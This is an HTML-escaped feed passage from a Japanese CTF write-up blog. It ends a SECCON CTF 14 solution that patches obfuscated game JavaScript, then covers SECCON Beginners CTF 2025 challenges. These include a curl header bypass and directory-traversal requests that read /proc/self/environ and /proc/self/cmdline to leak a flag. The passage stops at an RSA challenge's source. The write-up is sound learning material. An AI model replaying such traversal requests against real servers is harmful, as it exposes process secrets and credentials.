&lt;/code>&lt;/pre>&lt;p>最終付近の値は以下のとおりである．このことから，ステージ100の暗号化されたステージ情報は&lt;code>&amp;quot;c4lLtX0sR4Dpy7cj5roxyF54G6EcJxilM5k3IgbValyGUTNNfUppqstDkpPN/ZTriLf6qhFrnp6S6jhUQX5YEJX8XgLTiB+e0UpmImiU4dzEuIHM6l2FxTrWOEopW8fn+0n7Rc2dBFBBJv7vkknPaCg3S5pu9z9CD+3H7VFZ/MIsuqDQxka7Iv2VqDJ5ZZ+bIUv0oLGXOGn07q8IZnrAPRY92ZJ7NiG/zBoPJzRI8X0zmhtEcGDRbNsf0Dn5hHcD/bKUMDcaT9vvdUXlmJnY/Yy+i+39ahllJtmLkJuOTQ4oFLz1na9SKE0GGHUDQK148CNlTQszRgtctjYoSGiBbBastWXdIr6wAUSo4ZscWyofbfXhk/d4jRqipC82zcDC9EbqZbFkoW83ljoRTAV74GUvlZZ2zRUz5+mkgvXQqGJhDWreFZ935juvr+SFPNmVxZcha9/6U+BK8H7uj+3x++zA4zoMLep2b+1AbJCWv6r6WSRbDn4X8ZZ+ZXtAQA==&amp;quot;&lt;/code>
，鍵は&lt;code>&amp;quot;e918e6d505494c3cadb93697&amp;quot;&lt;/code>であることがわかる．&lt;/p>
&lt;pre tabindex="0">&lt;code>_0x59b60c: &amp;#34;2b21285d096a0f5e277fd90b&amp;#34;
this[_0x4fab65(0x259)]: &amp;#34;c4lLtX0sR4Dpy7cj5roxyF54G6EcJxilM5k3IgbValyGUTNNfUppqstDkpPN/ZTriLf6qhFrnp6S6jhUQX5YEJX8XgLTiB+e0UpmImiU4dzEuIHM6l2FxTrWOEopW8fn+0n7Rc2dBFBBJv7vkknPaCg3S5pu9z9CD+3H7VFZ/MIsuqDQxka7Iv2VqDJ5ZZ+bIUv0oLGXOGn07q8IZnrAPRY92ZJ7NiG/zBoPJzRI8X0zmhtEcGDRbNsf0Dn5hHcD/bKUMDcaT9vvdUXlmJnY/Yy+i+39ahllJtmLkJuOTQ4oFLz1na9SKE0GGHUDQK148CNlTQszRgtctjYoSGiBbBastWXdIr6wAUSo4ZscWyofbfXhk/d4jRqipC82zcDC9EbqZbFkoW83ljoRTAV74GUvlZZ2zRUz5+mkgvXQqGJhDWreFZ935juvr+SFPNmVxZcha9/6U+BK8H7uj+3x++zA4zoMLep2b+1AbJCWv6r6WSRbDn4X8ZZ+ZXtAQA==&amp;#34;
_0x59b60c: &amp;#34;e918e6d505494c3cadb93697&amp;#34;
this[_0x4fab65(0x259)]: &amp;#34;&amp;#34;
_0x59b60c: &amp;#34;1357246824681357000a000a&amp;#34;
this[_0x4fab65(0x259)]: &amp;#34;&amp;#34;
&lt;/code>&lt;/pre>&lt;p>以上より，最終的に，元のソースコードから以下の部分だけを書き替える．
また，&lt;code>async[a0_0x9638eb(0x1eb)]&lt;/code>関数において，クリア条件を残っているブロックの個数&lt;code>0x0&lt;/code>から&lt;code>99&lt;/code>に書き替えておく．
これにより，ゲームを開始後，1個のブロックが壊されたらステージ100へ進行するようになる．&lt;/p>
&lt;pre tabindex="0">&lt;code>async[a0_0x9638eb(0x211)]() {
const _0x4fab65 = a0_0x9638eb;
this[_0x4fab65(0x214)] = !![];
// const _0x59b60c = this[_0x4fab65(0x1c5)]();
const _0x59b60c = &amp;#34;e918e6d505494c3cadb93697&amp;#34;;
this[_0x4fab65(0x259)] = &amp;#34;c4lLtX0sR4Dpy7cj5roxyF54G6EcJxilM5k3IgbValyGUTNNfUppqstDkpPN/ZTriLf6qhFrnp6S6jhUQX5YEJX8XgLTiB+e0UpmImiU4dzEuIHM6l2FxTrWOEopW8fn+0n7Rc2dBFBBJv7vkknPaCg3S5pu9z9CD+3H7VFZ/MIsuqDQxka7Iv2VqDJ5ZZ+bIUv0oLGXOGn07q8IZnrAPRY92ZJ7NiG/zBoPJzRI8X0zmhtEcGDRbNsf0Dn5hHcD/bKUMDcaT9vvdUXlmJnY/Yy+i+39ahllJtmLkJuOTQ4oFLz1na9SKE0GGHUDQK148CNlTQszRgtctjYoSGiBbBastWXdIr6wAUSo4ZscWyofbfXhk/d4jRqipC82zcDC9EbqZbFkoW83ljoRTAV74GUvlZZ2zRUz5+mkgvXQqGJhDWreFZ935juvr+SFPNmVxZcha9/6U+BK8H7uj+3x++zA4zoMLep2b+1AbJCWv6r6WSRbDn4X8ZZ+ZXtAQA==&amp;#34;;
this[_0x4fab65(0x259)] ? (this[_0x4fab65(0x23e)] = await this[_0x4fab65(0x256)](this[_0x4fab65(0x259)], _0x59b60c) || null,
this[_0x4fab65(0x259)] = this[_0x4fab65(0x23e)]?.[_0x4fab65(0x229)] || &amp;#39;&amp;#39;) : this[_0x4fab65(0x23e)] = null;
this[_0x4fab65(0x254)] += 0x1;
const _0x10c6b0 = !this[_0x4fab65(0x23e)] &amp;amp;&amp;amp; !this[_0x4fab65(0x259)];
_0x10c6b0 &amp;amp;&amp;amp; this[_0x4fab65(0x1f6)][_0x4fab65(0x237)]() === 0x0 ? (this[_0x4fab65(0x21b)](this[_0x4fab65(0x254)]),
this[_0x4fab65(0x1b8)] = !![],
this[_0x4fab65(0x1d9)][_0x4fab65(0x1c2)](_0x4fab65(0x1f2)),
this[_0x4fab65(0x1d9)][_0x4fab65(0x216)](!![]),
this[_0x4fab65(0x246)][_0x4fab65(0x216)](![]),
this[_0x4fab65(0x1f8)]()) : (this[_0x4fab65(0x21b)](this[_0x4fab65(0x254)]),
this[_0x4fab65(0x1d9)][_0x4fab65(0x1c2)](_0x4fab65(0x25a) + (this[_0x4fab65(0x254)] - 0x1) + _0x4fab65(0x267)),
this[_0x4fab65(0x1d9)][_0x4fab65(0x216)](!![]),
this[_0x4fab65(0x26b)](),
this[_0x4fab65(0x1f8)]());
}
async[a0_0x9638eb(0x1eb)](_0x2ae8fa, _0x5da14c, _0x1b3ae8=0x0, _0xd4105b=0x0) {
const _0x1d9f89 = a0_0x9638eb;
if (!_0x2ae8fa[_0x1d9f89(0x1e3)])
return;
_0x2ae8fa[_0x1d9f89(0x1d5)](),
this[_0x1d9f89(0x268)] += 1000,
_0x5da14c &amp;amp;&amp;amp; this[_0x1d9f89(0x255)](_0x5da14c, _0x1b3ae8, _0xd4105b),
this[_0x1d9f89(0x1b7)](0x35c, 0x46),
this[_0x1d9f89(0x1ae)]();
// this[_0x1d9f89(0x1f6)][_0x1d9f89(0x237)]() === 0x0 &amp;amp;&amp;amp; await this[_0x1d9f89(0x211)]();
this[_0x1d9f89(0x1f6)][_0x1d9f89(0x237)]() === 99 &amp;amp;&amp;amp; await this[_0x1d9f89(0x211)]();
}
&lt;/code>&lt;/pre>&lt;p>以下のようにflagが得られる．&lt;/p>
&lt;p>&lt;code>SECCON{H4ve_y0u_3ver_p14yed_Atari?_SQiOIVX6HPtRekE1vTn4}&lt;/code>&lt;/p>
&lt;p>&lt;img src="https://raw.githubusercontent.com/stark2420/starknote/refs/heads/main/static/image/seccon-ctf-14/im03.png"
alt="This is a image"/>&lt;/p></description></item><item><title>SECCON Beginners CTF 2025 Writeup</title><link>https://stark2420.github.io/starknote/post/seccon-beginners-ctf-2025/</link><pubDate>Sun, 27 Jul 2025 00:00:00 +0000</pubDate><author>example@example.com (Stark)</author><guid>https://stark2420.github.io/starknote/post/seccon-beginners-ctf-2025/</guid><description>&lt;p>2025/7/26 14:00(JST) - 2025/7/27 14:00(JST)で開催された SECCON Beginners CTF 2025 に参加した．&lt;/p>
&lt;p>個人で参加し，結果は，1272 点で 880 チーム中 338 位だった．&lt;/p>
&lt;!-- 以下大会期間中に自分で解けた問題には✔をつけている． -->
&lt;p>&lt;a href="https://www.seccon.jp/14/seccon_beginners/ctf.html"target="_blank" rel="noopener noreferrer">https://www.seccon.jp/14/seccon_beginners/ctf.html&lt;/a>&lt;/p>
&lt;h2 id="web">web&lt;/h2>
&lt;h3 id="skipping-737-solve-100-beginner">skipping [737 Solve (100 beginner)]&lt;/h3>
&lt;blockquote>
&lt;p>/flagへのアクセスは拒否されます。curlなどを用いて工夫してアクセスして下さい。&lt;br>
curl &lt;a href="http://skipping.challenges.beginners.seccon.jp:33455"target="_blank" rel="noopener noreferrer">http://skipping.challenges.beginners.seccon.jp:33455&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>ソースコードより，&lt;code>x-ctf4b-request&lt;/code> ヘッダが &lt;code>ctf4b&lt;/code> であることが必要．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">index.js&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-js" data-lang="js">&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">express&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">require&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;express&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kd">var&lt;/span> &lt;span class="nx">app&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">express&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">FLAG&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">PORT&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nx">process&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">env&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">PORT&lt;/span>&lt;span class="p">;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">app&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;FLAG をどうぞ: &amp;lt;a href=&amp;#34;/flag&amp;#34;&amp;gt;/flag&amp;lt;/a&amp;gt;&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kr">const&lt;/span> &lt;span class="nx">check&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="o">!&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">headers&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;x-ctf4b-request&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">||&lt;/span> &lt;span class="nx">req&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">headers&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="s1">&amp;#39;x-ctf4b-request&amp;#39;&lt;/span>&lt;span class="p">]&lt;/span> &lt;span class="o">!==&lt;/span> &lt;span class="s1">&amp;#39;ctf4b&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">status&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">403&lt;/span>&lt;span class="p">).&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;403 Forbidden&amp;#39;&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">next&lt;/span>&lt;span class="p">();&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">app&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">get&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;/flag&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">check&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="nx">req&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="nx">next&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="nx">res&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">send&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">FLAG&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nx">app&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">listen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nx">PORT&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="p">()&lt;/span> &lt;span class="p">=&amp;gt;&lt;/span> &lt;span class="p">{&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nx">console&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="nx">log&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sb">`Server is running on port &lt;/span>&lt;span class="si">${&lt;/span>&lt;span class="nx">PORT&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="sb">`&lt;/span>&lt;span class="p">);&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">});&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;/div>
&lt;/figure>
&lt;p>ヘッダを指定して，curlで実行するとflagが得られる．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ curl -H &amp;#34;x-ctf4b-request: ctf4b&amp;#34; http://skipping.challenges.beginners.seccon.jp:33455/flag
ctf4b{y0ur_5k1pp1n6_15_v3ry_n1c3}
&lt;/code>&lt;/pre>&lt;h3 id="log-viewer-621-solve-100-easy">log-viewer [621 Solve (100 easy)]&lt;/h3>
&lt;blockquote>
&lt;p>ログをウェブブラウザで表示できるアプリケーションを作成しました。 これで定期的に集約してきているログを簡単に確認できます。 秘密の情報も安全にアプリに渡せているはずです&amp;hellip;&lt;br>
&lt;a href="http://log-viewer.challenges.beginners.seccon.jp:9999"target="_blank" rel="noopener noreferrer">http://log-viewer.challenges.beginners.seccon.jp:9999&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>ログを表示するウェブアプリ．&lt;/p>
&lt;p>&lt;code>access.log&lt;/code> と &lt;code>debug.log&lt;/code> が見られる．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">logs/access.log&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>192.168.65.1 - - [21/June/2025:10:41:56 +0900] &amp;#34;GET / HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:41:56 +0900] &amp;#34;GET /favicon.ico HTTP/1.1&amp;#34; 200 526 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:41:58 +0900] &amp;#34;GET / HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:41:58 +0900] &amp;#34;GET /favicon.ico HTTP/1.1&amp;#34; 200 526 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0&amp;#34;
192.168.65.1 - - [21/June/2025:12:42:13 +0900] &amp;#34;GET /?file=access.log HTTP/1.1&amp;#34; 200 1228 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:12:42:15 +0900] &amp;#34;GET /?file=access.log HTTP/1.1&amp;#34; 200 1228 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:17 +0900] &amp;#34;GET / HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:17 +0900] &amp;#34;GET /favicon.ico HTTP/1.1&amp;#34; 200 526 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:17 +0900] &amp;#34;GET / HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:17 +0900] &amp;#34;GET /favicon.ico HTTP/1.1&amp;#34; 200 526 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (iPhone; CPU iPhone OS 13_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.5 Mobile/15E148 Snapchat/10.77.5.59 (like Safari/604.1)&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:21 +0900] &amp;#34;GET /?file=debug.log HTTP/1.1&amp;#34; 200 1368 &amp;#34;http://localhost:8000/?file=access.log&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:24 +0900] &amp;#34;GET /?file=../.env HTTP/1.1&amp;#34; 404 690 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:42:53 +0900] &amp;#34;GET /?file=../../proc/self/environ HTTP/1.1&amp;#34; 200 770 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:43:58 +0900] &amp;#34;GET / HTTP/1.1&amp;#34; 200 526 &amp;#34;-&amp;#34; &amp;#34;Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:43:59 +0900] &amp;#34;GET /favicon.ico HTTP/1.1&amp;#34; 200 526 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Android 13; Mobile; rv:109.0) Gecko/114.0 Firefox/114.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:45:13 +0900] &amp;#34;GET /?file=access.log HTTP/1.1&amp;#34; 200 1228 &amp;#34;http://localhost:8000/&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;
192.168.65.1 - - [21/June/2025:10:47:01 +0900] &amp;#34;GET /?file=debug.log HTTP/1.1&amp;#34; 200 1368 &amp;#34;http://localhost:8000/?file=access.log&amp;#34; &amp;#34;Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0&amp;#34;&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">logs/debug.log&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>2025/06/21 10:40:02 INFO Initializing LogViewer... pid=17565
2025/06/21 10:40:02 DEBUG Parsed command line arguments flag=ctf4b{this_is_dummy_flag} port=8000
2025/06/21 10:41:56 INFO handlerFunc file=&amp;#34;&amp;#34;
2025/06/21 10:41:58 INFO handlerFunc file=&amp;#34;&amp;#34;
2025/06/21 10:42:13 INFO handlerFunc file=&amp;#34;access.log&amp;#34;
2025/06/21 10:42:15 INFO handlerFunc file=&amp;#34;access.log&amp;#34;
2025/06/21 10:42:17 INFO handlerFunc file=&amp;#34;&amp;#34;
2025/06/21 10:42:17 INFO handlerFunc file=&amp;#34;&amp;#34;
2025/06/21 10:42:21 INFO handlerFunc file=&amp;#34;debug.log&amp;#34;
2025/06/21 10:42:24 INFO handlerFunc file=&amp;#34;../.env&amp;#34;
2025/06/21 12:42:24 ERROR File not available file=../.env
2025/06/21 12:43:53 INFO handlerFunc file=&amp;#34;../../proc/self/envion&amp;#34;
2025/06/21 10:43:59 INFO handlerFunc file=&amp;#34;&amp;#34;
2025/06/21 12:45:13 INFO handlerFunc file=&amp;#34;access.log&amp;#34;
2025/06/21 12:47:01 INFO handlerFunc file=&amp;#34;debug.log&amp;#34;&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;p>&lt;code>access.log&lt;/code> と &lt;code>debug.log&lt;/code> はそれぞれ，
&lt;code>http://log-viewer.challenges.beginners.seccon.jp:9999/?file=access.log&lt;/code> と
&lt;code>http://log-viewer.challenges.beginners.seccon.jp:9999/?file=debug.log&lt;/code> というURLである．&lt;/p>
&lt;p>試しに，&lt;code>http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/environ&lt;/code> にアクセスすると，
&lt;code>/proc/self/environ&lt;/code> ファイル内容が出力され，ディレクトリトラバーサルの脆弱性があることがわかる．&lt;/p>
&lt;p>&lt;code>debug.log&lt;/code> より，コマンドラインにflagがありそうなので，
&lt;code>http://log-viewer.challenges.beginners.seccon.jp:9999/?file=../../proc/self/cmdline&lt;/code>　にアクセスすると，
flagが得られた．&lt;/p>
&lt;figure class="xCodeBlock">
&lt;figcaption class="xCodeBlock_title">/proc/self/cmdline&lt;/figcaption>
&lt;div class="xCodeBlock_code">&lt;pre tabindex="0">&lt;code>/usr/local/bin/log-viewer-port=9999-flag=ctf4b{h1dd1ng_1n_cmdl1n3_m4y_b3_r34d4bl3}&lt;/code>&lt;/pre>&lt;/div>
&lt;/figure>
&lt;h2 id="crypto">crypto&lt;/h2>
&lt;h3 id="seesaw-612-solve-100-beginner">seesaw [612 Solve (100 beginner)]&lt;/h3>
&lt;blockquote>
&lt;p>RSA初心者です! pとqはこれでいいよね&amp;hellip;?&lt;/p>
&lt;/blockquote>
&lt;p>ソースコードを見ると，&lt;code>q&lt;/code> が16bitの値となっているので，全探索できる．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">os&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">getPrime&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">os&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">getenv&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;FLAG&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;ctf4b&lt;/span>&lt;span class="si">{dummy_flag}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">int&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">from_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;big&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">512&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="mi">16&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">n&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">p&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">65537&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">c&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">n&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">n&lt;/span> &lt;span class="si">= }&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">c&lt;/span> &lt;span class="si">= }&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
